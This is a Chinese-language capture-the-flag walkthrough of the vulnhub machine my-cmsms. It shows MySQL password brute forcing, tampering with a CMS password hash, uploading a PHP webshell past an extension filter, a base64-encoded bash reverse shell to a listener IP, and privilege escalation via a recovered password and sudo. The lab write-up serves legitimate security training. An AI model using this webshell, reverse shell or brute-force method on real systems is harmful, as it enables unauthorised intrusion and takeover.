【打靶练习】vulnhub: my-cmsms

建议先看提示

弱口令
源码审计
webshell上传及过滤绕过
敏感信息收集
sudo提权

端口扫描&服务探测&漏洞探测

nmap -p- 172.16.33.103

在这里插入图片描述

nmap -p22,80,3306,33060 -sV 172.16.33.103

在这里插入图片描述

nmap -p22,80,3306,33060 --script=vuln 172.16.33.103

在这里插入图片描述

边界突破

先尝试80端口,访问之后发现是一个cms网站,cms made simple 2.2.13
搜一下相关漏洞,没有发现可利用的漏洞,访问首页,发现admin用户
在这里插入图片描述

继续扫一下目录,进行信息收集

dirsearch -u http://172.16.33.103 -L

在这里插入图片描述

每一个能访问的目录,都访问一下,看有没有敏感信息暴露,结果没有
只有一个admin的登录页面,需要用户名密码,尝试了admin用户的弱口令,都没有成功

MySQL弱口令

80端口信息收集完,并没有突破边界,接着尝试3306端口
直接上扫描

hydra -l root -P /usr/share/seclists/Passwords/500-worst-passwords.txt -e nsr -f  mysql://172.16.33.103

在这里插入图片描述

爆破出弱口令root/root,登录数据库后直奔存储网站用户密码的表(这里的密码已经是修改后的了)
在这里插入图片描述

使用hash-identifier识别一下是md5加密,尝试直接修改密码进行登录

update cms_users set password=md5('123123');

但是登录失败了,猜测有其他的密码加密规则,由于这个是cms,可以进行源码审计,看看到底是怎么加密的

CMS源码审计

直接百度/谷歌搜官网,找到源码下载地址
在这里插入图片描述

下载源码,找到login.php查看源码
在这里插入图片描述
在这里插入图片描述

找到处理登录的代码,发现LoadUserByUsername()函数
在这里插入图片描述

全局搜索LoadUserByUsername()函数定义

grep "function LoadUserByUsername" -r *

在这里插入图片描述

跟进查看
在这里插入图片描述

发现在密码前面拼接了个东西,但是不知道get_site_preference()具体是干嘛的,所以继续全局搜索(用编辑器搜应该更方便),同时记住参数sitemask

 grep "function get_site_preference" -r *

在这里插入图片描述

在这里插入图片描述

继续跟进cms_siteprefs

grep "class cms_siteprefs" -r * 

在这里插入图片描述

代码能力有限,大概看出来是从全局缓存里根据key去取值,没有对应的key就返回空串,这里的key就是传参sitemask

直接全局搜索sitemask,看在哪里设置了这个东西
在这里插入图片描述

在这里插入图片描述

发现是一个类似加盐的字符串,里面包含了时间,并且随机排序了。
那么肯定不是每次对比密码时随机生成了,肯定是存在数据库中了。直接去数据库中找。

查看表的时候,发现有个名为cms_siteprefs的表
在这里插入图片描述

查看表结构

describe cms_siteprefs

在这里插入图片描述

select sitepref_name,sitepref_value from cms_siteprefs;

在这里插入图片描述

成功或得sitemask的值

尝试登录web

现在再来修改密码

update cms_users set password=cmd('a235561351813137123123');

然后成功登陆

首要目标就是找文件上传的地方,然后尝试上传webshell,这里直接上传php后缀会被过滤,修改为phtml可以绕过。并且试了php-reverse-shell.phtml也无法上传,可能对内容也有过滤,上传webshell内容如下:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

在这里插入图片描述

然后通过命令执行的方式,反弹shell(多储备几个反弹shell代码,有些会被过滤)

echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjguMC4xNDkvNDQ0NSA8JjEK | base64 -d | bash

在这里插入图片描述

在这里插入图片描述

提权

先升级一下shell,防止断开

python3 -c "import pty; pty.spawn('/bin/bash')"
ctrl + z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 60 columns 120
reset
suid提权
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

在这里插入图片描述

在这个脚本这搞了好久,还是没有成功,遂放弃

敏感信息发现

/var/www/html/admin目录下发现隐藏文件.htpasswd(其实是通过linpeas.sh脚本扫出来的)
在这里插入图片描述

查看文件内容
在这里插入图片描述

尝试base64解码,这里解码之后还是编码的,所以尝试多重解码
在这里插入图片描述

获得armour用户的密码Shield@123
在这里插入图片描述

sudo 提权

在这里插入图片描述

总结

弱口令和信息收集是突破的关键

  • 12
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值